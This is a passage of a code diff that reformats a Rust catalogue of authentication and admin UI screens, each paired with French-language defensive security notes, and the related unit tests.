| 116 | - "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)", | |
| 117 | - "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission", | |
| 118 | - ] }, | |
| 119 | - ]}, | |
| 120 | - Functionality { key: "email_validation", label: "EmailValidation", always: false, screens: &[ | |
| 121 | - Screen { name: "ResendVerification", suggested_route: "/resend-verification", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 122 | - core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", io: "renvoi email (résultat rendu par le core)", | |
| 123 | - security_notes: &[ | |
| 124 | - "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois", | |
| 125 | - ] }, | |
| 126 | - ]}, | |
| 127 | - Functionality { key: "two_factor", label: "TwoFactor", always: false, screens: &[ | |
| 128 | - Screen { name: "TwoFactorChallenge", suggested_route: "/login/2fa", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 129 | - core_methods: "TotpService, POST /api/v1/auth/2fa/verify", io: "code TOTP ou backup", | |
| 130 | - security_notes: &[ | |
| 131 | - "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code", | |
| 132 | - ] }, | |
| 133 | - Screen { name: "TwoFactorSetup", suggested_route: "/settings/2fa", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 134 | - core_methods: "TotpService::generate_setup/confirm/disable", io: "QR + confirmation", | |
| 135 | - security_notes: &[ | |
| 136 | - "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut", | |
| 137 | - "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)", | |
| 138 | - ] }, | |
| 139 | - Screen { name: "TwoFactorBackupCodes", suggested_route: "/settings/2fa/backup", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 140 | - core_methods: "TotpService (backup codes)", io: "génération/affichage codes", | |
| 141 | - security_notes: &[ | |
| 142 | - "codes affichés une seule fois, jamais logués ; ne stocker que leur hash", | |
| 143 | - ] }, | |
| 144 | - ]}, | |
| 145 | - Functionality { key: "account_profile", label: "AccountProfile", always: false, screens: &[ | |
| 146 | - Screen { name: "Profile", suggested_route: "/profile", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 147 | - core_methods: "UserService", io: "voir/éditer profil", | |
| 148 | - security_notes: &[ | |
| 149 | - "n'exposer et n'éditer que le profil de `claims.sub`", | |
| 150 | - ] }, | |
| 151 | - ]}, | |
| 152 | - Functionality { key: "password_change", label: "PasswordChange", always: false, screens: &[ | |
| 153 | - Screen { name: "PasswordChange", suggested_route: "/settings/password", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 154 | - core_methods: "PasswordChangeService", io: "changement mdp (confirmation email)", | |
| 155 | - security_notes: &[ | |
| 156 | - "exiger le mot de passe courant ; invalider les autres sessions après changement", | |
| 157 | - ] }, | |
| 158 | - Screen { name: "ConfirmPasswordChange", suggested_route: "/confirm-password-change", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 159 | - core_methods: "PasswordChangeService::find_by_token/confirm_request", io: "confirme via token", | |
| 160 | - security_notes: &[ | |
| 161 | - "valider le token côté core ; token à usage unique et expirant", | |
| 162 | - ] }, | |
| 163 | - ]}, | |
| 164 | - Functionality { key: "session_management", label: "SessionManagement", always: false, screens: &[ | |
| 165 | - Screen { name: "SessionsList", suggested_route: "/settings/sessions", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 166 | - core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", io: "liste sessions + révoquer", | |
| 167 | - security_notes: &[ | |
| 168 | - "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)", | |
| 169 | - ] }, | |
| 170 | - ]}, | |
| 171 | - Functionality { key: "preferences", label: "Preferences", always: false, screens: &[ | |
| 172 | - Screen { name: "Preferences", suggested_route: "/settings/preferences", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 173 | - core_methods: "UserPreferencesService", io: "préférences utilisateur", | |
| 174 | - security_notes: &[ | |
| 175 | - "ne modifier que les préférences de `claims.sub`", | |
| 176 | - ] }, | |
| 177 | - ]}, | |
| 178 | - Functionality { key: "oauth_linking", label: "OAuthLinking", always: false, screens: &[ | |
| 179 | - Screen { name: "OAuthAccountLinking", suggested_route: "/settings/oauth", channel: Channel::Browser, auth_level: AuthLevel::Authenticated, | |
| 180 | - core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", io: "lier/délier comptes (+ boutons login)", | |
| 181 | - security_notes: &[ | |
| 182 | - "vérifier le paramètre `state` anti-CSRF au retour du provider", | |
| 183 | - "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`", | |
| 184 | - ] }, | |
| 185 | - ]}, | |
| 186 | - Functionality { key: "teams", label: "Teams", always: false, screens: &[ | |
| 187 | - Screen { name: "TeamsManagement", suggested_route: "/teams", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 188 | - core_methods: "TeamService (create/add_member/…), TeamRole", io: "équipes + membres (owner/admin/member)", | |
| 189 | - security_notes: &[ | |
| 190 | - "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable", | |
| 191 | - "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)", | |
| 192 | - ] }, | |
| 193 | - ]}, | |
| 194 | - Functionality { key: "personal_access_tokens", label: "PersonalAccessTokens", always: false, screens: &[ | |
| 195 | - Screen { name: "PatManagement", suggested_route: "/settings/tokens", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner, | |
| 196 | - core_methods: "PersonalTokenService::create/list_for_user/revoke", io: "créer/révoquer jetons (plaintext 1 fois)", | |
| 197 | - security_notes: &[ | |
| 198 | - "jeton en clair affiché une seule fois, jamais reconsultable ni logué", | |
| 199 | - "IDOR : révocation et listage filtrés par `claims.sub`", | |
| 200 | - ] }, | |
| 201 | - ]}, | |
| 202 | - Functionality { key: "admin_users", label: "Admin · Users", always: false, screens: &[ | |
| 203 | - Screen { name: "AdminUsers", suggested_route: "/admin/users", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 204 | - core_methods: "UserService, RoleService, PasswordResetService, TotpService", io: "liste + CRUD + reset", | |
| 205 | - security_notes: &[ | |
| 206 | - "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)", | |
| 207 | - "empêcher l'auto-suppression ; message générique si utilisateur introuvable", | |
| 208 | - ] }, | |
| 209 | - ]}, | |
| 210 | - Functionality { key: "admin_roles", label: "Admin · Roles", always: false, screens: &[ | |
| 211 | - Screen { name: "AdminRoles", suggested_route: "/admin/roles", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 212 | - core_methods: "RoleService, PermissionService", io: "liste + CRUD rôles/permissions", | |
| 213 | - security_notes: &[ | |
| 214 | - "`ensure_admin()` en défense en profondeur ; protéger le dernier admin", | |
| 215 | - "ne pas permettre l'auto-escalade de permissions", | |
| 216 | - ] }, | |
| 217 | - ]}, | |
| 218 | - Functionality { key: "admin_settings", label: "Admin · Settings", always: false, screens: &[ | |
| 219 | - Screen { name: "AdminSettings", suggested_route: "/admin/settings", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 220 | - core_methods: "AppSettingsService, CryptoService", io: "réglages applicatifs", | |
| 221 | - security_notes: &[ | |
| 222 | - "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair", | |
| 223 | - ] }, | |
| 224 | - ]}, | |
| 225 | - Functionality { key: "admin_error_log", label: "Admin · ErrorLog", always: false, screens: &[ | |
| 226 | - Screen { name: "AdminErrorLog", suggested_route: "/admin/errors", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 227 | - core_methods: "error_handler, I18nService", io: "journal d'erreurs", | |
| 228 | - security_notes: &[ | |
| 229 | - "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production", | |
| 230 | - ] }, | |
| 231 | - ]}, | |
| 232 | - Functionality { key: "admin_email_queue", label: "Admin · EmailQueue", always: false, screens: &[ | |
| 233 | - Screen { name: "AdminEmailQueue", suggested_route: "/admin/emails", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 234 | - core_methods: "EmailQueueService", io: "file d'emails", | |
| 235 | - security_notes: &[ | |
| 236 | - "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair", | |
| 237 | - ] }, | |
| 238 | - ]}, | |
| 239 | - Functionality { key: "admin_dashboard", label: "Admin · Dashboard", always: false, screens: &[ | |
| 240 | - Screen { name: "AdminDashboard", suggested_route: "/admin", channel: Channel::Browser, auth_level: AuthLevel::Admin, | |
| 241 | - core_methods: "cartes DashboardCardDTO", io: "accueil admin", | |
| 242 | - security_notes: &[ | |
| 243 | - "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées", | |
| 244 | - ] }, | |
| 245 | - ]}, | |
| 91 | + Functionality { | |
| 92 | + key: "authentication", | |
| 93 | + label: "Authentication", | |
| 94 | + always: true, | |
| 95 | + screens: &[Screen { | |
| 96 | + name: "Login", | |
| 97 | + suggested_route: "/login", | |
| 98 | + channel: Channel::Browser, | |
| 99 | + auth_level: AuthLevel::Public, | |
| 100 | + core_methods: "AuthService, JwtService, POST /api/v1/auth/login", | |
| 101 | + io: "form login → cookie JWT / challenge 2FA", | |
| 102 | + security_notes: &[ | |
| 103 | + "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`", | |
| 104 | + "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)", | |
| 105 | + ], | |
| 106 | + }], | |
| 107 | + }, | |
| 108 | + Functionality { | |
| 109 | + key: "registration", | |
| 110 | + label: "Registration", | |
| 111 | + always: false, | |
| 112 | + screens: &[Screen { | |
| 113 | + name: "Register", | |
| 114 | + suggested_route: "/register", | |
| 115 | + channel: Channel::Browser, | |
| 116 | + auth_level: AuthLevel::Public, | |
| 117 | + core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", | |
| 118 | + io: "form inscription", | |
| 119 | + security_notes: &[ | |
| 120 | + "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur", | |
| 121 | + "flux public : ne pas révéler qu'un email est déjà enregistré", | |
| 122 | + ], | |
| 123 | + }], | |
| 124 | + }, | |
| 125 | + Functionality { | |
| 126 | + key: "password_reset", | |
| 127 | + label: "PasswordReset", | |
| 128 | + always: false, | |
| 129 | + screens: &[ | |
| 130 | + Screen { | |
| 131 | + name: "ForgotPassword", | |
| 132 | + suggested_route: "/forgot-password", | |
| 133 | + channel: Channel::Browser, | |
| 134 | + auth_level: AuthLevel::Public, | |
| 135 | + core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", | |
| 136 | + io: "email → lien reset", | |
| 137 | + security_notes: &["réponse identique que l'email existe ou non (anti-énumération)"], | |
| 138 | + }, | |
| 139 | + Screen { | |
| 140 | + name: "ResetPassword", | |
| 141 | + suggested_route: "/reset-password", | |
| 142 | + channel: Channel::Browser, | |
| 143 | + auth_level: AuthLevel::Public, | |
| 144 | + core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", | |
| 145 | + io: "token + nouveau mdp", | |
| 146 | + security_notes: &[ | |
| 147 | + "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)", | |
| 148 | + "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission", | |
| 149 | + ], | |
| 150 | + }, | |
| 151 | + ], | |
| 152 | + }, | |
| 153 | + Functionality { | |
| 154 | + key: "email_validation", | |
| 155 | + label: "EmailValidation", | |
| 156 | + always: false, | |
| 157 | + screens: &[Screen { | |
| 158 | + name: "ResendVerification", | |
| 159 | + suggested_route: "/resend-verification", | |
| 160 | + channel: Channel::Browser, | |
| 161 | + auth_level: AuthLevel::Public, | |
| 162 | + core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", | |
| 163 | + io: "renvoi email (résultat rendu par le core)", | |
| 164 | + security_notes: &[ | |
| 165 | + "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois", | |
| 166 | + ], | |
| 167 | + }], | |
| 168 | + }, | |
| 169 | + Functionality { | |
| 170 | + key: "two_factor", | |
| 171 | + label: "TwoFactor", | |
| 172 | + always: false, | |
| 173 | + screens: &[ | |
| 174 | + Screen { | |
| 175 | + name: "TwoFactorChallenge", | |
| 176 | + suggested_route: "/login/2fa", | |
| 177 | + channel: Channel::Browser, | |
| 178 | + auth_level: AuthLevel::Public, | |
| 179 | + core_methods: "TotpService, POST /api/v1/auth/2fa/verify", | |
| 180 | + io: "code TOTP ou backup", | |
| 181 | + security_notes: &[ | |
| 182 | + "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code", | |
| 183 | + ], | |
| 184 | + }, | |
| 185 | + Screen { | |
| 186 | + name: "TwoFactorSetup", | |
| 187 | + suggested_route: "/settings/2fa", | |
| 188 | + channel: Channel::Browser, | |
| 189 | + auth_level: AuthLevel::Authenticated, | |
| 190 | + core_methods: "TotpService::generate_setup/confirm/disable", | |
| 191 | + io: "QR + confirmation", | |
| 192 | + security_notes: &[ | |
| 193 | + "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut", | |
| 194 | + "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)", | |
| 195 | + ], | |
| 196 | + }, | |
| 197 | + Screen { | |
| 198 | + name: "TwoFactorBackupCodes", | |
| 199 | + suggested_route: "/settings/2fa/backup", | |
| 200 | + channel: Channel::Browser, | |
| 201 | + auth_level: AuthLevel::Authenticated, | |
| 202 | + core_methods: "TotpService (backup codes)", | |
| 203 | + io: "génération/affichage codes", | |
| 204 | + security_notes: &[ | |
| 205 | + "codes affichés une seule fois, jamais logués ; ne stocker que leur hash", | |
| 206 | + ], | |
| 207 | + }, | |
| 208 | + ], | |
| 209 | + }, | |
| 210 | + Functionality { | |
| 211 | + key: "account_profile", | |
| 212 | + label: "AccountProfile", | |
| 213 | + always: false, | |
| 214 | + screens: &[Screen { | |
| 215 | + name: "Profile", | |
| 216 | + suggested_route: "/profile", | |
| 217 | + channel: Channel::Browser, | |
| 218 | + auth_level: AuthLevel::Authenticated, | |
| 219 | + core_methods: "UserService", | |
| 220 | + io: "voir/éditer profil", | |
| 221 | + security_notes: &["n'exposer et n'éditer que le profil de `claims.sub`"], | |
| 222 | + }], | |
| 223 | + }, | |
| 224 | + Functionality { | |
| 225 | + key: "password_change", | |
| 226 | + label: "PasswordChange", | |
| 227 | + always: false, | |
| 228 | + screens: &[ | |
| 229 | + Screen { | |
| 230 | + name: "PasswordChange", | |
| 231 | + suggested_route: "/settings/password", | |
| 232 | + channel: Channel::Browser, | |
| 233 | + auth_level: AuthLevel::Authenticated, | |
| 234 | + core_methods: "PasswordChangeService", | |
| 235 | + io: "changement mdp (confirmation email)", | |
| 236 | + security_notes: &[ | |
| 237 | + "exiger le mot de passe courant ; invalider les autres sessions après changement", | |
| 238 | + ], | |
| 239 | + }, | |
| 240 | + Screen { | |
| 241 | + name: "ConfirmPasswordChange", | |
| 242 | + suggested_route: "/confirm-password-change", | |
| 243 | + channel: Channel::Browser, | |
| 244 | + auth_level: AuthLevel::Public, | |
| 245 | + core_methods: "PasswordChangeService::find_by_token/confirm_request", | |
| 246 | + io: "confirme via token", | |
| 247 | + security_notes: &["valider le token côté core ; token à usage unique et expirant"], | |
| 248 | + }, | |
| 249 | + ], | |
| 250 | + }, | |
| 251 | + Functionality { | |
| 252 | + key: "session_management", | |
| 253 | + label: "SessionManagement", | |
| 254 | + always: false, | |
| 255 | + screens: &[Screen { | |
| 256 | + name: "SessionsList", | |
| 257 | + suggested_route: "/settings/sessions", | |
| 258 | + channel: Channel::Browser, | |
| 259 | + auth_level: AuthLevel::ResourceOwner, | |
| 260 | + core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", | |
| 261 | + io: "liste sessions + révoquer", | |
| 262 | + security_notes: &[ | |
| 263 | + "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)", | |
| 264 | + ], | |
| 265 | + }], | |
| 266 | + }, | |
| 267 | + Functionality { | |
| 268 | + key: "preferences", | |
| 269 | + label: "Preferences", | |
| 270 | + always: false, | |
| 271 | + screens: &[Screen { | |
| 272 | + name: "Preferences", | |
| 273 | + suggested_route: "/settings/preferences", | |
| 274 | + channel: Channel::Browser, | |
| 275 | + auth_level: AuthLevel::Authenticated, | |
| 276 | + core_methods: "UserPreferencesService", | |
| 277 | + io: "préférences utilisateur", | |
| 278 | + security_notes: &["ne modifier que les préférences de `claims.sub`"], | |
| 279 | + }], | |
| 280 | + }, | |
| 281 | + Functionality { | |
| 282 | + key: "oauth_linking", | |
| 283 | + label: "OAuthLinking", | |
| 284 | + always: false, | |
| 285 | + screens: &[Screen { | |
| 286 | + name: "OAuthAccountLinking", | |
| 287 | + suggested_route: "/settings/oauth", | |
| 288 | + channel: Channel::Browser, | |
| 289 | + auth_level: AuthLevel::Authenticated, | |
| 290 | + core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", | |
| 291 | + io: "lier/délier comptes (+ boutons login)", | |
| 292 | + security_notes: &[ | |
| 293 | + "vérifier le paramètre `state` anti-CSRF au retour du provider", | |
| 294 | + "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`", | |
| 295 | + ], | |
| 296 | + }], | |
| 297 | + }, | |
| 298 | + Functionality { | |
| 299 | + key: "teams", | |
| 300 | + label: "Teams", | |
| 301 | + always: false, | |
| 302 | + screens: &[Screen { | |
| 303 | + name: "TeamsManagement", | |
| 304 | + suggested_route: "/teams", | |
| 305 | + channel: Channel::Browser, | |
| 306 | + auth_level: AuthLevel::ResourceOwner, | |
| 307 | + core_methods: "TeamService (create/add_member/…), TeamRole", | |
| 308 | + io: "équipes + membres (owner/admin/member)", | |
| 309 | + security_notes: &[ | |
| 310 | + "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable", | |
| 311 | + "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)", | |
| 312 | + ], | |
| 313 | + }], | |
| 314 | + }, | |
| 315 | + Functionality { | |
| 316 | + key: "personal_access_tokens", | |
| 317 | + label: "PersonalAccessTokens", | |
| 318 | + always: false, | |
| 319 | + screens: &[Screen { | |
| 320 | + name: "PatManagement", | |
| 321 | + suggested_route: "/settings/tokens", | |
| 322 | + channel: Channel::Browser, | |
| 323 | + auth_level: AuthLevel::ResourceOwner, | |
| 324 | + core_methods: "PersonalTokenService::create/list_for_user/revoke", | |
| 325 | + io: "créer/révoquer jetons (plaintext 1 fois)", | |
| 326 | + security_notes: &[ | |
| 327 | + "jeton en clair affiché une seule fois, jamais reconsultable ni logué", | |
| 328 | + "IDOR : révocation et listage filtrés par `claims.sub`", | |
| 329 | + ], | |
| 330 | + }], | |
| 331 | + }, | |
| 332 | + Functionality { | |
| 333 | + key: "admin_users", | |
| 334 | + label: "Admin · Users", | |
| 335 | + always: false, | |
| 336 | + screens: &[Screen { | |
| 337 | + name: "AdminUsers", | |
| 338 | + suggested_route: "/admin/users", | |
| 339 | + channel: Channel::Browser, | |
| 340 | + auth_level: AuthLevel::Admin, | |
| 341 | + core_methods: "UserService, RoleService, PasswordResetService, TotpService", | |
| 342 | + io: "liste + CRUD + reset", | |
| 343 | + security_notes: &[ | |
| 344 | + "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)", | |
| 345 | + "empêcher l'auto-suppression ; message générique si utilisateur introuvable", | |
| 346 | + ], | |
| 347 | + }], | |
| 348 | + }, | |
| 349 | + Functionality { | |
| 350 | + key: "admin_roles", | |
| 351 | + label: "Admin · Roles", | |
| 352 | + always: false, | |
| 353 | + screens: &[Screen { | |
| 354 | + name: "AdminRoles", | |
| 355 | + suggested_route: "/admin/roles", | |
| 356 | + channel: Channel::Browser, | |
| 357 | + auth_level: AuthLevel::Admin, | |
| 358 | + core_methods: "RoleService, PermissionService", | |
| 359 | + io: "liste + CRUD rôles/permissions", | |
| 360 | + security_notes: &[ | |
| 361 | + "`ensure_admin()` en défense en profondeur ; protéger le dernier admin", | |
| 362 | + "ne pas permettre l'auto-escalade de permissions", | |
| 363 | + ], | |
| 364 | + }], | |
| 365 | + }, | |
| 366 | + Functionality { | |
| 367 | + key: "admin_settings", | |
| 368 | + label: "Admin · Settings", | |
| 369 | + always: false, | |
| 370 | + screens: &[Screen { | |
| 371 | + name: "AdminSettings", | |
| 372 | + suggested_route: "/admin/settings", | |
| 373 | + channel: Channel::Browser, | |
| 374 | + auth_level: AuthLevel::Admin, | |
| 375 | + core_methods: "AppSettingsService, CryptoService", | |
| 376 | + io: "réglages applicatifs", | |
| 377 | + security_notes: &[ | |
| 378 | + "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair", | |
| 379 | + ], | |
| 380 | + }], | |
| 381 | + }, | |
| 382 | + Functionality { | |
| 383 | + key: "admin_error_log", | |
| 384 | + label: "Admin · ErrorLog", | |
| 385 | + always: false, | |
| 386 | + screens: &[Screen { | |
| 387 | + name: "AdminErrorLog", | |
| 388 | + suggested_route: "/admin/errors", | |
| 389 | + channel: Channel::Browser, | |
| 390 | + auth_level: AuthLevel::Admin, | |
| 391 | + core_methods: "error_handler, I18nService", | |
| 392 | + io: "journal d'erreurs", | |
| 393 | + security_notes: &[ | |
| 394 | + "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production", | |
| 395 | + ], | |
| 396 | + }], | |
| 397 | + }, | |
| 398 | + Functionality { | |
| 399 | + key: "admin_email_queue", | |
| 400 | + label: "Admin · EmailQueue", | |
| 401 | + always: false, | |
| 402 | + screens: &[Screen { | |
| 403 | + name: "AdminEmailQueue", | |
| 404 | + suggested_route: "/admin/emails", | |
| 405 | + channel: Channel::Browser, | |
| 406 | + auth_level: AuthLevel::Admin, | |
| 407 | + core_methods: "EmailQueueService", | |
| 408 | + io: "file d'emails", | |
| 409 | + security_notes: &[ | |
| 410 | + "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair", | |
| 411 | + ], | |
| 412 | + }], | |
| 413 | + }, | |
| 414 | + Functionality { | |
| 415 | + key: "admin_dashboard", | |
| 416 | + label: "Admin · Dashboard", | |
| 417 | + always: false, | |
| 418 | + screens: &[Screen { | |
| 419 | + name: "AdminDashboard", | |
| 420 | + suggested_route: "/admin", | |
| 421 | + channel: Channel::Browser, | |
| 422 | + auth_level: AuthLevel::Admin, | |
| 423 | + core_methods: "cartes DashboardCardDTO", | |
| 424 | + io: "accueil admin", | |
| 425 | + security_notes: &[ | |
| 426 | + "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées", | |
| 427 | + ], | |
| 428 | + }], | |
| 429 | + }, | |
| 246 | 430 | ]; |
| 247 | 431 | |
| 248 | 432 | #[cfg(test)] |
@@ -269,17 +453,37 @@ mod tests {
| 269 | 453 | #[test] |
| 270 | 454 | fn catalogue_couvre_les_fonctionnalites_attendues() { |
| 271 | 455 | let expected = [ |
| 272 | - "authentication", "registration", "password_reset", "email_validation", | |
| 273 | - "two_factor", "account_profile", "password_change", "session_management", | |
| 274 | - "preferences", "oauth_linking", "teams", "personal_access_tokens", | |
| 275 | - "admin_users", "admin_roles", "admin_settings", "admin_error_log", | |
| 276 | - "admin_email_queue", "admin_dashboard", | |
| 456 | + "authentication", | |
| 457 | + "registration", | |
| 458 | + "password_reset", | |
| 459 | + "email_validation", | |
| 460 | + "two_factor", | |
| 461 | + "account_profile", | |
| 462 | + "password_change", | |
| 463 | + "session_management", | |
| 464 | + "preferences", | |
| 465 | + "oauth_linking", | |
| 466 | + "teams", | |
| 467 | + "personal_access_tokens", | |
| 468 | + "admin_users", | |
| 469 | + "admin_roles", | |
| 470 | + "admin_settings", | |
| 471 | + "admin_error_log", | |
| 472 | + "admin_email_queue", | |
| 473 | + "admin_dashboard", | |
| 277 | 474 | ]; |
| 278 | 475 | let keys: Vec<&str> = all().iter().map(|f| f.key).collect(); |
| 279 | 476 | for k in expected { |
| 280 | - assert!(keys.contains(&k), "fonctionnalité manquante au catalogue : {k}"); | |
| 477 | + assert!( | |
| 478 | + keys.contains(&k), | |
| 479 | + "fonctionnalité manquante au catalogue : {k}" | |
| 480 | + ); | |
| 281 | 481 | } |
| 282 | - assert_eq!(keys.len(), expected.len(), "nombre de fonctionnalités inattendu"); | |
| 482 | + assert_eq!( | |
| 483 | + keys.len(), | |
| 484 | + expected.len(), | |
| 485 | + "nombre de fonctionnalités inattendu" | |
| 486 | + ); | |
| 283 | 487 | } |
| 284 | 488 | |
| 285 | 489 | #[test] |
M
crates/rustwarden-core/src/bin/screen-select/check.rs
+13
-4
@@ -51,9 +51,14 @@ mod tests {
| 51 | 51 | |
| 52 | 52 | fn row(route: &str) -> TodoRow { |
| 53 | 53 | TodoRow { |
| 54 | - done: false, functionality: "F".into(), screen: "S".into(), | |
| 55 | - route: route.into(), channel: "browser".into(), protected: true, | |
| 56 | - methods: "".into(), io: "".into(), | |
| 54 | + done: false, | |
| 55 | + functionality: "F".into(), | |
| 56 | + screen: "S".into(), | |
| 57 | + route: route.into(), | |
| 58 | + channel: "browser".into(), | |
| 59 | + protected: true, | |
| 60 | + methods: "".into(), | |
| 61 | + io: "".into(), | |
| 57 | 62 | } |
| 58 | 63 | } |
| 59 | 64 |
@@ -83,7 +88,11 @@ mod tests {
| 83 | 88 | std::fs::create_dir_all(base.join("crates/rustwarden-core/src")).unwrap(); |
| 84 | 89 | std::fs::create_dir_all(base.join("target")).unwrap(); |
| 85 | 90 | std::fs::write(base.join("src/app.rs"), r#".route("/mine", get(h))"#).unwrap(); |
| 86 | - std::fs::write(base.join("crates/rustwarden-core/src/x.rs"), r#".route("/vendored", get(h))"#).unwrap(); | |
| 91 | + std::fs::write( | |
| 92 | + base.join("crates/rustwarden-core/src/x.rs"), | |
| 93 | + r#".route("/vendored", get(h))"#, | |
| 94 | + ) | |
| 95 | + .unwrap(); | |
| 87 | 96 | std::fs::write(base.join("target/y.rs"), r#".route("/built", get(h))"#).unwrap(); |
| 88 | 97 | |
| 89 | 98 | let hay = collect_sources(&base); |
M
crates/rustwarden-core/src/bin/screen-select/generate.rs
+26
-6
@@ -42,7 +42,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
| 42 | 42 | inputs.project |
| 43 | 43 | )); |
| 44 | 44 | // Garde-fous transversaux + conventions de rendu sûr (statique, vu en premier). |
| 45 | - out.push_str(§ion::block(security::GUIDES_ID, &security::guides_body())); | |
| 45 | + out.push_str(§ion::block( | |
| 46 | + security::GUIDES_ID, | |
| 47 | + &security::guides_body(), | |
| 48 | + )); | |
| 46 | 49 | out.push_str("\n\n"); |
| 47 | 50 | if let Some(design) = &inputs.design_md { |
| 48 | 51 | out.push_str("## Charte graphique (à respecter)\n\n"); |
@@ -58,7 +61,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
| 58 | 61 | out.push_str(&todo::render(rows)); |
| 59 | 62 | out.push('\n'); |
| 60 | 63 | // Contrat de sécurité par écran (dérivé du catalogue, en référence sous le tableau). |
| 61 | - out.push_str(§ion::block(security::PER_SCREEN_ID, &security::reference_body(&inputs.selected))); | |
| 64 | + out.push_str(§ion::block( | |
| 65 | + security::PER_SCREEN_ID, | |
| 66 | + &security::reference_body(&inputs.selected), | |
| 67 | + )); | |
| 62 | 68 | out.push('\n'); |
| 63 | 69 | out |
| 64 | 70 | } |
@@ -89,7 +95,10 @@ mod tests {
| 89 | 95 | let rows = rows_for(&inputs.selected); |
| 90 | 96 | let out = render_plan(&inputs, &rows); |
| 91 | 97 | assert!(out.contains("# Plan UI — demo")); |
| 92 | - assert!(out.contains("**`demo-ui`**"), "l'intro doit nommer la crate <projet>-ui"); | |
| 98 | + assert!( | |
| 99 | + out.contains("**`demo-ui`**"), | |
| 100 | + "l'intro doit nommer la crate <projet>-ui" | |
| 101 | + ); | |
| 93 | 102 | assert!(out.contains("Police: Inter")); |
| 94 | 103 | assert!(out.contains("navbar: gauche")); |
| 95 | 104 | assert!(out.contains("| Statut | Fonctionnalité |")); |
@@ -103,14 +112,22 @@ mod tests {
| 103 | 112 | let tf = catalogue::by_key("two_factor").unwrap(); |
| 104 | 113 | let login = &rows_for(&[auth])[0]; |
| 105 | 114 | assert!(!login.protected); |
| 106 | - let setup = rows_for(&[tf]).into_iter().find(|r| r.screen == "TwoFactorSetup").unwrap(); | |
| 115 | + let setup = rows_for(&[tf]) | |
| 116 | + .into_iter() | |
| 117 | + .find(|r| r.screen == "TwoFactorSetup") | |
| 118 | + .unwrap(); | |
| 107 | 119 | assert!(setup.protected); |
| 108 | 120 | } |
| 109 | 121 | |
| 110 | 122 | #[test] |
| 111 | 123 | fn render_plan_inclut_les_sections_securite() { |
| 112 | 124 | let auth = catalogue::by_key("authentication").unwrap(); |
| 113 | - let inputs = PlanInputs { project: "demo", selected: vec![auth], design_md: None, layout: None }; | |
| 125 | + let inputs = PlanInputs { | |
| 126 | + project: "demo", | |
| 127 | + selected: vec![auth], | |
